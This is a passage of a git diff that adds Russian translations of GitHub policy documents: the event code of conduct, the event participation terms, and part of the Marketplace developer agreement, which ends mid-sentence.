природные катастрофы, забастовки, локауты, беспорядки, военные действия, эпидемии или сбои в электроснабжении, телекоммуникации или сети. + +### 9. Независимые подрядчики +Каждая Сторона является независимым подрядчиком в отношении предмета настоящего Соглашения. Ничто, содержащееся в настоящем Соглашении, не будет считаться или истолковываться каким-либо образом для создания юридического объединения, товарищества, совместного предприятия, занятости, агентства, фидуциарных или других подобных отношений между Сторонами, и ни одна из Сторон не может связывать другую договорными обязательствами. + +### 10. Ответы на вопросы +Есть вопросы об Условиях обслуживания? [Свяжитесь с нами](https://github.com/contact/). diff --git a/translations/ru-RU/content/site-policy/github-terms/github-event-code-of-conduct.md b/translations/ru-RU/content/site-policy/github-terms/github-event-code-of-conduct.md new file mode 100644 index 000000000000..8381c6a920ec --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-event-code-of-conduct.md @@ -0,0 +1,58 @@ +--- +title: Кодекс поведения на мероприятиях GitHub +redirect_from: + - /articles/github-event-code-of-conduct + - /github/site-policy/github-event-code-of-conduct +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: c9e910ccec8e281359fb21feca5957c3360530bd +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556735' +--- +Мероприятия GitHub — это мероприятия сообщества, предназначенные для общения и совместной работы в техническом сообществе. + +Мы ценим вклад каждого участника и хотим, чтобы все участники получили приятный и полезный опыт. Соответственно, ожидается, что все участники будут проявлять уважение и вежливость по отношению к другим участникам на всех мероприятиях, проводимых в пространстве GitHub. + +Чтобы прояснить, что ожидается, все участники, спикеры, экспоненты, организаторы и волонтеры на любом мероприятии в пространстве GitHub должны соблюдать следующий Кодекс поведения. Организаторы будут применять этот кодекс на протяжении всего мероприятия. + +## Правила поведения + +GitHub предназначен для предоставления положительного и свободного от домогательств опыта проведения мероприятий для всех, независимо от возраста, пола, гендерной идентичности и самовыражения, сексуальной ориентации, инвалидности, внешности, размера тела, этнической принадлежности, расы, религии, национальности или уровня опыта. Мы не приемлем притеснения участников мероприятия в любой форме, а также не приемлем никакого поведения, которое может привести к тому, что другой участник мероприятия будет чувствовать себя небезопасным, незащищенным или испуганным за свое физическое или эмоциональное благополучие. Вся коммуникация должна подходить для профессиональной аудитории, включая людей самого разного происхождения. + +Примеры поощряемого поведения, которое способствует созданию позитивной атмосферы, включают: + +* Использование доброжелательного и инклюзивного языка +* Уважительное отношение к различным точкам зрения и опыту +* Грамотное принятие конструктивной критики +* Сосредоточение внимания на том, что лучше для всех на мероприятии +* Проявление сочувствия к другим участникам + +К неприемлемому поведению относятся: + +* Использование сексуальных выражений или изображений, неуместный физический контакт, сексуальное внимание или заигрывания +* Троллинг, оскорбительные или уничижительные комментарии, личные или политические нападки или постоянные срывы переговоров или других мероприятий +* Преднамеренное запугивание, навязчивое поведение, преследование или притеснение при фотографировании или записи +* Преследование любого рода, даже в шутливой или ироничной форме +* Другое поведение, которое можно обоснованно считать неуместным в профессиональной среде + +Будьте добры к другим. Не оскорбляйте и не унижайте других участников. Ведите себя профессионально. Помните, что домогательства, сексистские, расистские или дискриминационные шутки на этом мероприятии неуместны. + +Каждый гость мероприятия несет полную ответственность за свои действия. + +Спасибо, что помогли сделать это пространство гостеприимным и дружелюбным для всех. + +### Сообщение об инциденте + +Если вы подвергаетесь преследованиям, заметили, что кто-то другой подвергается преследованиям, или у вас есть какие-либо другие опасения, свяжитесь с организатором по электронной почте (events@github.com) или по телефону/тексту (+1 415 842 2837), или поговорив с другим сотрудником GitHub или сотрудником службы безопасности. + +Сотрудники GitHub будут рады помочь участникам связаться с службой безопасности или местными правоохранительными органами, сопроводить в безопасное место или иным образом помочь тем, кто подвергается преследованиям, чувствовать себя в безопасности во время конференции. Мы ценим ваше присутствие. + +## Кредит + +Отдельные части настоящего Кодекса поведения основаны на [примере политики против домогательств](https://geekfeminism.wikia.org/wiki/Conference_anti-harassment/Policy) из вики Geek Feminism, созданной Ada Initiative и другими добровольцами под лицензией Creative Commons Zero. diff --git a/translations/ru-RU/content/site-policy/github-terms/github-event-terms.md b/translations/ru-RU/content/site-policy/github-terms/github-event-terms.md new file mode 100644 index 000000000000..802ee4a2193c --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-event-terms.md @@ -0,0 +1,65 @@ +--- +title: Условия проведения мероприятия GitHub +redirect_from: + - /articles/github-event-terms + - /github/site-policy/github-event-terms +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 58e24cfcc52a49f2f80ca316d482e2f2caf1fe4d +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556756' +--- +Отвечая на приглашение или посещая мероприятие GitHub, включая любые мероприятия или события, организованные GitHub в связи с мероприятием GitHub (совместно именуемые «Мероприятие»), вы подтверждаете, что прочитали, поняли и согласны со следующими Условиями проведения мероприятия. + +## 1. Основные требования для участия, включая [Кодекс поведения на мероприятии](/articles/github-event-code-of-conduct) + +Для участия в Мероприятии вы заявляете, что + +- у вас есть необходимые права и полномочия для заключения настоящих Условий проведения мероприятия + +- вы прочитали и поняли настоящие Условия проведения мероприятия, а также [Условия обслуживания GitHub.com](/articles/github-terms-of-service/) + +- вы соглашаетесь соблюдать [Кодекс поведения на мероприятии](/articles/github-event-code-of-conduct), который стремится обеспечить свободный от домогательств опыт для всех + +- если на мероприятии GitHub подается алкоголь, вы заявляете, что вам не менее 21 года или что вы достигли возраста, разрешенного законом для употребления алкоголя в вашей юрисдикции. + +Ожидается, что участники, которых попросили прекратить любые притеснения или другое запрещенное поведение, немедленно подчинятся. Если участник совершает действия, нарушающие [Кодекс поведения на мероприятии](/articles/github-event-code-of-conduct) или настоящие Условия, организаторы мероприятия могут предпринять любые действия, которые они сочтут целесообразными, включая предупреждение нарушителя или его удаление с мероприятия или конференции, без возмещения средств. + +## 2. Изображения + +GitHub или его партнеры иногда снимают фото и видео на мероприятиях GitHub. Участвуя или посещая Мероприятие, вы соглашаетесь с тем, что вы можете появиться на некоторых из этих фотографий и видео, и разрешаете GitHub использовать их. С другой стороны, если вы снимаете какие-либо фотографии или видео участников Мероприятия и предоставляете их нам, вы разрешаете нам использовать их таким же образом и подтверждаете, что участники, изображенные на ваших фотографиях и видео, также дали согласие на такое использование. + +## 3. Риск, ответственность и возмещение ущерба + +### Принятие риска +Хотя мы стараемся создать на Мероприятии безопасную обстановку, несчастные случаи и другие неприятности случаются даже с хорошими людьми. Мы просим вас сделать все возможное, чтобы снизить вероятность получения травм на Мероприятии. + +Вы соглашаетесь тщательно взвесить риски, связанные с любой деятельностью, в которой вы решите участвовать, и принять разумные меры предосторожности, прежде чем принять решение о посещении или участии в мероприятии GitHub. Например, вы должны убедиться, что у вас хорошее физическое здоровье, прежде чем заниматься какой-либо физической активностью на мероприятии GitHub, и вы всегда должны ответственно относиться к употреблению алкоголя, учитывая риски, связанные с вождением в нетрезвом виде и участием в мероприятиях, когда ваше суждение нарушено. Всегда полезно помнить, что другие гости мероприятия могут быть менее ответственными, чем вы, и сами могут создать для вас дополнительный риск, несмотря на их самые лучшие намерения. + +Короче говоря, вы понимаете, что ваше присутствие и участие в любом мероприятии GitHub является добровольным, и вы соглашаетесь взять на себя ответственность за любые полученные травмы в максимально возможной степени, разрешенной применимым правом. + +Точно так же вы соглашаетесь с тем, что GitHub не несет ответственности за любые травмы или несчастные случаи, которые вы можете получить на любых мероприятиях, которые GitHub не организует и не контролирует. + +### Освобождение от ответственности +Вы (от своего имени, от имени своих наследников, личных представителей или правопреемников, а также любых других лиц, которые могут подать иск от вашего имени) настоящим обязуетесь не предъявлять иски GitHub и его соответствующим материнским компаниям, дочерним компаниям, аффилированным лицам, должностным лицам, директорам, партнерам, акционерам, членам, агентам, сотрудникам, поставщикам, спонсорам и волонтерам и освобождаете их и отказываетесь от всевозможных претензий, требований, причин иска, убытков, убытков или расходов (включая судебные издержки и разумные гонорары адвокатов), которые могут возникнуть вследствие, являются результатом или каким-либо образом связаны с вашим посещением Мероприятия или любого связанного с ним мероприятия, за исключением, конечно, любой грубой неосторожности или умышленных неправомерных действий с нашей стороны. + +### Освобождение от ответственности и возмещение ущерба +Кроме того, вы соглашаетесь возместить ущерб и ограждать GitHub, его родительские компании, дочерние компании, аффилированных лиц, должностных лиц, директоров, сотрудников, агентов и представителей от ответственности, включая расходы, обязательства и судебные издержки, от любых претензий или требований, предъявленных каким-либо третьим лицом в связи с вашим присутствием или поведением на Мероприятии или любом связанном с ним мероприятии. + +## 4. Прекращение действия + +Хотя мы надеемся, что этого не произойдет, GitHub может запретить вам посещать любое мероприятие GitHub в любое время, если вы не будете соблюдать настоящие Условия проведения мероприятия и [Кодекс поведения на мероприятии](/articles/github-event-code-of-conduct), [Условия обслуживания GitHub.com](/articles/github-terms-of-service/), по любой причине или без таковой, без уведомления или ответственности любого рода. Раздел 3 (Риски, ответственность и возмещение ущерба) будет продолжать применяться после любого прекращения действия. + +## 5. Выбор применимого права и места рассмотрения споров + +Настоящие Условия проведения мероприятия, а также любые претензии, основания для иска или споры, которые могут возникнуть между вами и GitHub («Претензия»), будут регулироваться законодательством штата Калифорния, без учета положений коллизионного права. В ОТНОШЕНИИ ЛЮБОЙ ПРЕТЕНЗИИ, ПОДАННОЙ ЛЮБОЙ СТОРОНОЙ, ВЫ СОГЛАШАЕТЕСЬ ПРИНЯТЬ И СОГЛАСИТЬСЯ С ЛИЧНОЙ И ИСКЛЮЧИТЕЛЬНОЙ ЮРИСДИКЦИЕЙ И ИСКЛЮЧИТЕЛЬНЫМ МЕСТОМ РАССМОТРЕНИЯ СПОРОВ В СУДЕ ШТАТА И В ФЕДЕРАЛЬНОМ СУДЕ, РАСПОЛОЖЕННОМ В ОКРУГЕ САН-ФРАНЦИСКО, КАЛИФОРНИЯ. + +## 6. Прочие условия + +Вы соглашаетесь с тем, что не будете представлять себя сотрудником, представителем или агентом GitHub (если, конечно, вы действительно не работаете в GitHub). Мы оставляем за собой право отменить Мероприятие или любое связанное с ним мероприятие в любое время, по любой причине и без какой-либо ответственности или ущерба. Если GitHub не может выполнить или осуществить какое-либо право или положение настоящих условий, это не должно считаться отказом от такого права или положения. Если какое-либо положение настоящих условий будет признано неисполнимым или недействительным, это положение будет ограничено или исключено в минимально необходимой степени, чтобы в противном случае Условия проведения мероприятия оставались в полной силе и действии, а также подлежащими исполнению. diff --git a/translations/ru-RU/content/site-policy/github-terms/github-marketplace-developer-agreement.md b/translations/ru-RU/content/site-policy/github-terms/github-marketplace-developer-agreement.md new file mode 100644 index 000000000000..2883091bb346 --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-marketplace-developer-agreement.md @@ -0,0 +1,279 @@ +--- +title: Соглашение с разработчиком GitHub Marketplace +redirect_from: + - /articles/github-marketplace-developer-agreement + - /github/site-policy/github-marketplace-developer-agreement +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: fb7e6f05a24628d6d0062b7f3d8a46aff8d76ac3 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556759' +--- +**ЭТИ УСЛОВИЯ («СОГЛАШЕНИЕ») РЕГУЛИРУЮТ ВАШЕ УЧАСТИЕ В ПРОГРАММЕ GITHUB MARKETPLACE. РЕГИСТРИРУЯСЬ ДЛЯ УЧАСТИЯ В ПРОГРАММЕ MARKETPLACE ИЛИ НАЖИМАЯ «Я ПРИНИМАЮ» НИЖЕ, ВЫ ПОДТВЕРЖДАЕТЕ, ЧТО ПОНИМАЕТЕ НАСТОЯЩЕЕ СОГЛАШЕНИЕ И ПРИНИМАЕТЕ ВСЕ ЕГО УСЛОВИЯ. ЕСЛИ ВЫ ЗАКЛЮЧАЕТЕ НАСТОЯЩЕЕ СОГЛАШЕНИЕ ОТ ИМЕНИ КОМПАНИИ ИЛИ ДРУГОГО ЮРИДИЧЕСКОГО ЛИЦА, ВЫ ПОДТВЕРЖДАЕТЕ, ЧТО ИМЕЕТЕ ЮРИДИЧЕСКИЕ ПОЛНОМОЧИЯ ОБЯЗАТЬ ЮРИДИЧЕСКОЕ ЛИЦО СОБЛЮДАТЬ ЭТО СОГЛАШЕНИЯ, В ЭТОМ СЛУЧАЕ «ВЫ» БУДЕТ ОЗНАЧАТЬ ЮРИДИЧЕСКОЕ ЛИЦО, КОТОРОЕ ВЫ ПРЕДСТАВЛЯЕТЕ.** + +Дата вступления в силу: 24 августа 2021 г. + +## 1. ОПРЕДЕЛЕНИЯ + +Термины с заглавной буквы, используемые в настоящем Соглашении и не определенные в нем, имеют значение, указанное в Условиях обслуживания GitHub, размещенных по адресу [https://docs.github.com/articles/github-terms-of-service](/articles/github-terms-of-service) («Условия» или «Условия обслуживания»). + +«Действие» означает механизм, который позволяет реализовать пользовательскую логику без необходимости создавать приложение для выполнения определенной задачи с помощью GitHub. + +«Фирменные знаки» означают торговые наименования, товарные знаки, знаки обслуживания, логотипы, доменные имена и другие отличительные черты бренда каждой стороны, соответственно, которые время от времени принадлежат (или лицензируются) такой стороне. + +«Разработчик» означает вас, и вы являетесь компанией или физическим лицом, создавшим программное обеспечение, контент и цифровые материалы для использования в связи с GitHub и доступными через Marketplace. + +«Приложение разработчика» или «Продукт разработчика» означает Программное обеспечение, контент и цифровые материалы, созданные вами для использования в связи с GitHub и доступными через Marketplace, и включает в себя Действия. + +«Конечный пользователь» — любое лицо, компания или другое юридическое лицо, которое приобретет лицензии на Продукт разработчика через GitHub Marketplace. + +«GitHub API» — собственный программный интерфейс приложения GitHub. Доступ к GitHub API и его использование регулируются Условиями обслуживания. + +«GitHub Marketplace» или «Marketplace» означает собственный веб-сайт торговой онлайн-площадки, управляемый GitHub, на котором Конечным пользователям могут предоставляться Продукты разработчиков. + +«Список» означает контент, предоставленный для размещения Продукта разработчика на GitHub Marketplace. + +«Налоги» означают любой федеральный, штатный, местный или иностранный доход, валовые поступления, франшизу, расчетный, альтернативный минимум, продажи, использование, передачу, добавленную стоимость, акциз, налог на недвижимое или личное имущество, удержанный или другой налог любого рода, включая любые проценты, штрафы или надбавки к налогам или дополнительные суммы в отношении вышеизложенного». + +«Данные об использовании» означают связанные с Marketplace данные, созданные в связи с использованием Конечным пользователем GitHub Marketplace и лицензированием Продуктов разработчика, включая, помимо прочего, статистику использования и агрегированные данные о продажах. Данные об использовании не включают и специально исключают банковскую и платежную информацию. + +## 2. ЦЕЛЬ И ПРЕДОСТАВЛЕНИЕ ЛИЦЕНЗИИ + +**2.1** Настоящее Соглашение устанавливает условия, в соответствии с которыми Разработчик может публиковать Списки на GitHub Marketplace для покупки Продуктов разработчика Конечными пользователями и использования в связи с GitHub.com. Настоящее Соглашение применимо к Продуктам разработчиков, распространяемым бесплатно, и к Продуктам разработчиков, за которые с Конечных пользователей взимается плата. Разработчик соглашается использовать GitHub Marketplace исключительно в целях, разрешенных настоящим Соглашением, или в иных случаях, разрешенных применимым правом. В отношениях между GitHub и Разработчиком, Разработчик несет исключительную ответственность за Продукты разработчика. + +**2.2** Разработчик предоставляет GitHub неисключительную, всемирную, передаваемую, сублицензируемую, полностью оплаченную, безвозмездную лицензию на (а) размещение, ссылку, воспроизведение, изменение, публичное исполнение, публичную демонстрацию, тестирование, распространение, предоставление, лицензировать и иным образом использовать Список; (b) воспроизводить, выполнять, отображать, использовать и получать доступ к Списку в административных и демонстрационных целях в связи с работой и маркетингом Marketplace; и (c) воспроизводить, отображать, распространять и иным образом использовать любые торговые марки Разработчика, предоставленные Разработчиком GitHub в соответствии с настоящим Соглашением, исключительно для использования в связи с Marketplace и для выполнения своих обязательств по Соглашению. + +**2.3** В дополнение к лицензиям, предоставленным выше, GitHub может включать Элементы торговой марки разработчика, предоставленные Разработчиком GitHub в соответствии с настоящим Соглашением, в любые презентации, сообщения, маркетинговые материалы, пресс-релизы, списки клиентов (включая, помимо прочего, любые списки клиентов, размещенные на веб-сайтах GitHub), рекламные кампании и другие рекламные материалы в целях маркетинга Marketplace. Если Разработчик прекратит распространение определенных Продуктов разработчика на Marketplace, GitHub по истечении коммерчески обоснованного периода времени прекратит использование Фирменных знаков Продуктов разработчика, выпуск которых прекращен. Ничто в настоящем Соглашении не дает Разработчику права использовать какие-либо Торговые знаки GitHub. + +**2.4** Разработчик предоставляет каждому Конечному пользователю неисключительное действующее во всем мире право или лицензию на исполнение, отображение и использование Продуктов разработчика и любого контента, содержащегося в Продуктах разработчика, доступ к которому осуществляется или передача через них в связи с Marketplace. Разработчик должен включить в свои Продукты разработчиков отдельное лицензионное соглашение с конечным пользователем («EULA»), которое будет регулировать права Конечного пользователя на Продукты разработчиков вместо предыдущего предложения. Разработчик признает и соглашается с тем, что применимое Лицензионное соглашение с конечным пользователем для каждого Продукта разработчика заключается исключительно между Разработчиком и Конечным пользователем. GitHub не отвечает и не несет никакой ответственности в соответствии с каким-либо Лицензионным соглашением с конечным пользователем. + +**2.5** За исключением лицензионных прав, предоставленных в настоящем Соглашении, (а) Разработчик сохраняет за собой все права на Продукты разработчика; (b) каждая сторона сохраняет за собой все права, которыми она обладает независимо от настоящего Соглашения, включая права в соответствии с Законом США об авторском праве или аналогичными законами других юрисдикций; и (c) каждая сторона владеет всеми правами, титулами и интересами в отношении своих соответствующих Торговых знаков. Каждая сторона несет ответственность за защиту и соблюдение своих соответствующих прав, и ни одна из сторон не обязана делать это от имени другой стороны. + +**2.6** Разработчик признает и соглашается с тем, что GitHub имеет право предоставлять имя, адрес и другие контактные данные Разработчика любому третьему лицу, которое обоснованно, по единоличному решению GitHub, утверждает, что Разработчик не обладает всеми необходимыми правами интеллектуальной собственности в отношении Продуктов разработчика. + +## 3. ОГРАНИЧЕНИЯ И ОБЯЗАННОСТИ + +Несмотря на любые требования, изложенные в Разделе 2 «Цель и предоставление лицензии» выше, Разработчик признает и соглашается с тем, что использование им Marketplace и участие в Программе прямо обусловлено соблюдением Разработчиком настоящего Соглашения, включая, помимо прочего, ограничения и требованиям соответствия, изложенным в настоящем Разделе 3. + +**3.1** Разработчик соглашается, что будет защищать конфиденциальность и законные права всех Конечных пользователей. Если Конечный пользователь предоставляет Разработчику имена Конечных пользователей, пароли или другую личную информацию или если Продукт иным образом собирает, раскрывает, получает доступ или использует их, то Разработчик должен (а) сообщить Конечным пользователям, что такая информация будет доступна для Продуктов разработчика; и (b) предоставить юридически адекватное уведомление о конфиденциальности и защиту Конечным пользователям. Кроме того, Продукты разработчика могут использовать информацию только в ограниченных целях, для которых Разработчик получил разрешение от Конечного пользователя. Если Продукты разработчика хранят или передают личную или конфиденциальную информацию, предоставленную Конечными пользователями или полученную от них, Разработчик должен обеспечить безопасность всей такой деятельности и незамедлительно реагировать на жалобы, запросы на удаление и запросы «не связываться» от GitHub или Конечных пользователей Marketplace. + +**3.2** Чтобы использовать API GitHub и получить к нему доступ, Разработчик должен получить учетные данные API («Токен»), став подписчиком. Разработчик не может передавать свой Токен какому-либо третьему лицу, должен хранить такой Токен и всю информацию для входа в систему в безопасности и должен использовать Токен в качестве единственного средства доступа Разработчика к GitHub API. + +**3.3** Разработчик признает и соглашается с тем, что он не будет участвовать в какой-либо деятельности на Marketplace, включая распространение Продуктов разработчика, которая нарушает политики Marketplace или которая: + +- 1\. Нарушает любые применимое законодательство или способствует незаконной деятельности; +- 2\. Содержит или устанавливает любое активное вредоносное ПО или эксплойты или использует нашу платформу для доставки эксплойтов (например, как часть системы управления и контроля); +- 3\. Вмешивается, нарушает работу, повреждает, наносит вред или получает несанкционированный доступ к машинам, системам, оборудованию, серверам, сетям, устройствам, данным или другому имуществу или услугам любого третьего лица; +- 4\. Включает ложный или вводящий в заблуждение контент; +- 5\. Нарушает любое право собственности любой стороны, включая патент, торговую марку, коммерческую тайну, авторское право, право на публичность или другие права; +- 6\. Является клеветнической, дискредитирующей или мошеннической; +- 7\. Позволяет несанкционированную загрузку потокового контента или мультимедиа; +- 8\. Отображает или ссылается на нелегальный контент; +- 9\. преследует, оскорбляет, угрожает или подстрекает к насилию в отношении любого лица или группы, включая сотрудников, должностных лиц и агентов GitHub или любых Конечных пользователей; +- 10\. Представляет собой контент непристойного сексуального характера или содержит такой контент; +- 11\. Является дискриминационной или оскорбительной по отношению к какому-либо лицу или группе; +- 12\. Перенаправляет Конечных пользователей или предоставляет ссылки на любой другой сайт, имитирующий Marketplace или выдающий себя за Marketplace. + +**3.4** Разработчик ни при каких обстоятельствах не должен с помощью Продуктов разработчика или иным образом переупаковывать или перепродавать Marketplace, GitHub API или Данные об использовании. Разработчику не разрешается использовать GitHub API или любые Данные об использовании каким-либо образом, который делает или может потенциально подорвать безопасность Сервиса, GitHub API, Данных об использовании или любых других данных или информации, хранящихся или передаваемых с использованием Marketplace. Кроме того, Разработчик не должен и не должен пытаться вмешиваться, изменять или отключать какие-либо функции, функциональные возможности или элементы управления безопасностью Marketplace или GitHub API, нарушать, избегать, обходить, удалять, деактивировать или иным образом обходить любые механизмы защиты для Marketplace или GitHub API, либо изучать технологию, декомпилировать, дизассемблировать или извлекать исходный код, лежащие в его основе идеи, алгоритмы, структуру или организационную форму из Marketplace или GitHub API. + +**3.5** Разработчик признает, что Разработчик несет единоличную ответственность и что GitHub не несет никакой ответственности за содержание, разработку, эксплуатацию, поддержку или техническое обслуживание Продуктов разработчика. Не ограничивая вышеизложенное, Разработчик будет нести единоличную ответственность за +- (i) техническая установка и эксплуатация Продуктов разработчика; +- (ii) создание и отображение информации и контента на Продуктах разработчика, в них или с их помощью; +- (iii) обеспечения того, чтобы его Продукты разработчика не нарушали и не ущемляли права интеллектуальной собственности какого-либо третьего лица; +- (iv) обеспечение того, чтобы Продукты разработчика не были оскорбительными, богохульными, непристойными, клеветническими или иным образом незаконными; +- (v) обеспечение того, чтобы его Продукты разработчика не содержали и не вводили вредоносное программное обеспечение в Marketplace, GitHub API, какие-либо Данные об использовании или другие данные, хранящиеся или передаваемые с использованием Marketplace; и +- (vi) обеспечение того, чтобы его Продукты разработчика не предназначались и не использовались для отправки коммерческих электронных сообщений любым пользователям GitHub.com, агентам и Конечным пользователям без их согласия. + +**3.6** Разработчик обязуется уважать и соблюдать технические и политические ограничения GitHub API, а также ограничения настоящего Соглашения при разработке и внедрении Продуктов разработчика. Не ограничивая вышеизложенное, Разработчик не должен нарушать какие-либо явные ограничения скорости при вызове или ином использовании GitHub API. + +**3.7** GitHub оставляет за собой право немедленно расторгнуть настоящее Соглашение, если GitHub определит, что Разработчик нарушил какое-либо требование или обязательство настоящего Раздела 3. + +**3.8** Ничто в настоящем Соглашении не препятствует любой из сторон разрабатывать и/или публиковать приложения, которые аналогичны или иным образом конкурируют с приложениями другой стороны. + +## 4. УВЕДОМЛЕНИЯ ОБ УДАЛЕНИИ + +**4.1** Ваши уведомления об удалении. Предоставив GitHub письменное уведомление за тридцать (30) дней до 1-го числа следующего календарного месяца, вы можете удалить свои Списки из будущего распространения через Marketplace, но вы должны соблюдать настоящее Соглашение для любого Списка, распространяемого через Marketplace, включая, но не ограничивается требованиями возврата. Удаление вашего Списка из будущего распространения через Marketplace не (а) влияет на лицензионные права Конечных пользователей, которые ранее приобрели или установили ваш Список, или (б) не изменяет ваши обязательства по доставке или поддержке Списка, который ранее был приобретен или установлен пользователями. + +Несмотря на вышеизложенное, GitHub ни при каких обстоятельствах не будет сохранять в какой-либо части Marketplace Списки, которые вы удалили из Marketplace и предоставили GitHub письменное уведомление о том, что такое удаление было вызвано: + +- (i) заявлением о нарушении или фактическим нарушением любого авторского права, товарного знака, коммерческой тайны, фирменного стиля, патента или другого права интеллектуальной собственности любого лица, +- (ii) заявлением о диффамации или фактической диффамацией, +- (iii) заявлением о нарушении или фактическим нарушением прав любого третьего лица на публичность или неприкосновенность частной жизни, или +- (iv) утверждением или определением того, что такой Список не соответствует применимому праву. + +Если вы удаляете Список с Marketplace в соответствии с положениями (i), (ii), (iii) или (iv) настоящего Раздела 4.1, и Конечный пользователь приобрел такой Список в течение года до даты удаления, GitHub не несет ответственности за возмещение затронутому покупателю любой суммы, уплаченной таким Конечным клиентом в течение года до даты удаления такого затронутого Списка. + +**4.2** Обзор GitHub и уведомления об удалении. Хотя GitHub не обязан отслеживать Список или его содержимое, GitHub может в любое время просмотреть или протестировать ваш Список на соответствие настоящему Соглашению, правилам программы Marketplace и любым другим применимым условиям, обязательствам, законам или нормативным актам. GitHub оставляет за собой право отказать в размещении Списка на Marketplace по своему усмотрению. От вас может потребоваться предоставить информацию о себе (например, идентификационные или контактные данные) в рамках процесса регистрации на Marketplace или в рамках вашего дальнейшего использования Marketplace. Вы соглашаетесь с тем, что любая информация, которую вы предоставляете Marketplace, всегда будет точной, правильной и актуальной. В рамках спецификации вашего Списка GitHub может попросить вас включить в файл для вашего Списка такую информацию, как ваше имя и адрес электронной почты. GitHub может использовать эту информацию при размещении Списка в нашем каталоге или для других целей. + +Если GitHub получает уведомление от вас или иным образом узнает и определяет по своему собственному усмотрению, что Список или любая его часть или ваши Торговые знаки +- (a) нарушают права интеллектуальной собственности или любые другие права любого третьего лица; +- (b) нарушают любое применимое право или подлежат судебному запрету; +- (c) являются порнографическими, непристойными или иным образом нарушают политику GitHub в отношении хостинга или другие условия предоставления услуг, которые GitHub может время от времени обновлять по своему собственному усмотрению; +- (d) распространяются вами ненадлежащим образом; +- (e) могут создать ответственность для GitHub или любого третьего лица; +- (f) считаются GitHub вредоносными или дефектными; +- (g) нарушают условия настоящего Соглашения или политики программы Marketplace; +- (h) отображение Списка влияет на целостность серверов GitHub (т. е. пользователи не могут получить доступ к такому контенту или иным образом испытывают трудности); +- (i) GitHub считает, что это создает чрезмерный риск для данных Конечных пользователей Marketplace или ухудшает работу пользователей с Marketplace или GitHub; +- (j) на них подаются жалобы пользователей в связи с нарушением вами вашего лицензионного соглашения с конечным пользователем, или +- (k) иным образом нарушают Условия или настоящее Соглашение, + +GitHub может: запретить размещение Списка на Marketplace; удалить Список с Marketplace; помечать, фильтровать или изменять связанные материалы (включая, помимо прочего, описания, снимки экрана или метаданные); или реклассифицировать Список по своему усмотрению. GitHub оставляет за собой право приостановить или запретить размещение любого Списка на Marketplace по своему усмотрению. + +В случае, если ваш Список непреднамеренно удален из-за того, что он является дефектным, злонамеренным, нарушает права интеллектуальной собственности другого лица, клевету, нарушает право третьих лиц на публичное использование или неприкосновенность частной жизни или не соответствует применимому праву, и конечный пользователь приобрел такой Список в течение года до даты удаления: + +- (i) вы должны возместить затронутому покупателю все суммы, уплаченные таким Конечным клиентом в течение года до даты удаления такого затронутого Списка. +- (ii) GitHub может по своему усмотрению удержать из ваших будущих продаж сумму, указанную в подразделе (i) выше. + +**4.3** Время от времени GitHub может проверять наличие доступных обновлений Списка, включая, помимо прочего, исправления ошибок или расширенные функции. Если вы обновляете свой Список на Marketplace, вы соглашаетесь с тем, что такое обновление будет автоматически запрошено, загружено и установлено без дополнительного уведомления. GitHub не дает никаких гарантий относительно сроков таких обновлений. Во избежание сомнений, обновления Списка регулируются теми же условиями, что и Список, включая, помимо прочего, Раздел 4.2 настоящего Соглашения (Просмотр GitHub и удаление). + +**4.4** Удаление конечных пользователей. Если Конечный пользователь использует ваш Продукт разработчика способом, который нарушает Условия, мы имеем право приостановить или прекратить доступ этого Конечного пользователя к Продукту разработчика без какой-либо ответственности перед вами. + +## 5. ЗАЯВЛЕНИЯ, ГАРАНТИИ И ОБЯЗАТЕЛЬСТВА + +**5.1** Разработчик заявляет и гарантирует, что Разработчик уведомил всех пользователей таких Приложений разработчика о том, что данные их учетной записи будут переданы за пределы Сервиса, и условия Разработчика будут контролировать конфиденциальность, безопасность или целостность таких данных учетной записи. Разработчик также заявляет и гарантирует, что в тех случаях, когда Приложения разработчика хранят, обрабатывают или передают данные учетной записи, ни Разработчик, ни Приложение разработчика не будут без соответствующего предварительного согласия пользователя или за исключением случаев, предусмотренных применимым правом, +- (i) изменять содержимое данных учетной записи способом, который отрицательно влияет на целостность данных учетной записи; +- (ii) раскрывать данные учетной записи любому третьему лицу; или +- (iii) использовать данные учетной записи для любых целей, кроме предоставления функций Приложения разработчика пользователям такого Приложения разработчика. Разработчик обязуется использовать разумно обоснованные способы хранения и обработки данных учетной записи, обеспечивающие их конфиденциальность и безопасность, и соблюдать конфиденциальность и безопасность всех данных учетной записи и все применимое законодательство по конфиденциальности. + +**5.2** Разработчик соглашается соблюдать Дополнение GitHub о защите данных. + +**5.3** Разработчик заявляет, гарантирует и обязуется, что: (i) его Продукты разработчика и Торговые знаки разработчика не нарушают и не будут нарушать, неправомерно присваивать или нарушать права интеллектуальной собственности какого-либо третьего лица; (ii) Разработчик обязуется соблюдать все применимое местное, государственное, национальное и международное законодательство, включая, помимо прочего, все применимые законы об экспортном контроле, а также сохранять все лицензии, разрешения и другие разрешения, необходимые для разработки, внедрения и распространения своих Продуктов разработчика; и (iii) его Продукты разработчика не содержат и не будут содержать или вводить в Marketplace, GitHub API, любые Данные об использовании или другие данные, хранящиеся или передаваемые с использованием Marketplace, какое-либо вредоносное программное обеспечение; (vi) его Продукты разработчика не предназначены и не используются для отправки коммерческих электронных сообщений любым клиентам, агентам или Конечным пользователям GitHub без их согласия; (vi) он имеет все права, полномочия и полномочия для предоставления лицензий, предоставленных GitHub и Конечным пользователям в настоящем документе; (vii) он признает право GitHub взимать плату за транзакции и/или листинг, как это предусмотрено в Разделе 6 настоящего документа; любые изображения и текст, которые используются для продажи Продуктов разработчика или которые Разработчик загрузил на Marketplace, являются правдивыми, точными и не предназначены для введения в заблуждение или 